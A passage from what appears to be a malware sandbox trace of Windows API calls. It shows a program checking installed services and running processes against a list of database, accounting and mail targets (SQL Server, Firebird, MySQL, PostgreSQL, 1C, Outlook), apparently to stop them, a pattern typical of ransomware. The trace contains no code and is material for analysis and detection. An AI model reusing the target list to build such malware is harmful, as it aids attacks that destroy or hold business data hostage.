[0058.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.247] lstrlenW (lpString="CscService") returned 10 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.247] lstrlenW (lpString="DcomLaunch") returned 10 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.247] lstrlenW (lpString="Dhcp") returned 4 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.247] lstrlenW (lpString="Dnscache") returned 8 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.248] lstrlenW (lpString="DPS") returned 3 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.248] lstrlenW (lpString="eventlog") returned 8 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.248] lstrlenW (lpString="EventSystem") returned 11 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.248] lstrlenW (lpString="gpsvc") returned 5 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.248] lstrlenW (lpString="iphlpsvc") returned 8 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.248] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.248] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.248] lstrlenW (lpString="LanmanServer") returned 12 [0058.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.249] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.249] lstrlenW (lpString="lmhosts") returned 7 [0058.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.249] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.249] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.249] lstrlenW (lpString="MMCSS") returned 5 [0058.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.249] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.249] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.249] lstrlenW (lpString="MpsSvc") returned 6 [0058.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.250] lstrlenW (lpString="Netman") returned 6 [0058.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.250] lstrlenW (lpString="netprofm") returned 8 [0058.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.250] lstrlenW (lpString="NlaSvc") returned 6 [0058.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.250] lstrlenW (lpString="nsi") returned 3 [0058.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.250] lstrlenW (lpString="PcaSvc") returned 6 [0058.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.250] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.251] lstrlenW (lpString="PlugPlay") returned 8 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.251] lstrlenW (lpString="Power") returned 5 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.251] lstrlenW (lpString="ProfSvc") returned 7 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.251] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.251] lstrlenW (lpString="RpcSs") returned 5 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.251] lstrlenW (lpString="SamSs") returned 5 [0058.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.251] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.251] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.252] lstrlenW (lpString="Schedule") returned 8 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.252] lstrlenW (lpString="SENS") returned 4 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.252] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.252] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.252] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.252] lstrlenW (lpString="Spooler") returned 7 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.252] lstrlenW (lpString="swprv") returned 5 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.252] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.252] lstrlenW (lpString="SysMain") returned 7 [0058.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.253] lstrlenW (lpString="Themes") returned 6 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.253] lstrlenW (lpString="TrkWks") returned 6 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.253] lstrlenW (lpString="UxSms") returned 5 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.253] lstrlenW (lpString="VSS") returned 3 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.253] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.253] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.253] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.253] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.254] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.254] lstrlenW (lpString="Winmgmt") returned 7 [0058.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0058.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.254] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.254] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.254] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0058.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x230 [0058.258] Process32FirstW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.259] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.259] lstrlenW (lpString="System") returned 6 [0058.259] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.259] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.259] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.260] lstrlenW (lpString="smss.exe") returned 8 [0058.260] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.260] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.260] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.261] lstrlenW (lpString="csrss.exe") returned 9 [0058.261] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.261] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.261] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.261] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.261] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.261] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.261] lstrlenW (lpString="wininit.exe") returned 11 [0058.261] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.261] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.261] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.262] lstrlenW (lpString="csrss.exe") returned 9 [0058.262] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.262] lstrlenW (lpString="winlogon.exe") returned 12 [0058.263] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.263] lstrlenW (lpString="services.exe") returned 12 [0058.263] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.264] lstrlenW (lpString="lsass.exe") returned 9 [0058.264] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.264] lstrlenW (lpString="lsm.exe") returned 7 [0058.264] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.265] lstrlenW (lpString="svchost.exe") returned 11 [0058.265] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.265] lstrlenW (lpString="svchost.exe") returned 11 [0058.265] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.266] lstrlenW (lpString="svchost.exe") returned 11 [0058.266] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.266] lstrlenW (lpString="svchost.exe") returned 11 [0058.266] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.267] lstrlenW (lpString="svchost.exe") returned 11 [0058.267] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | 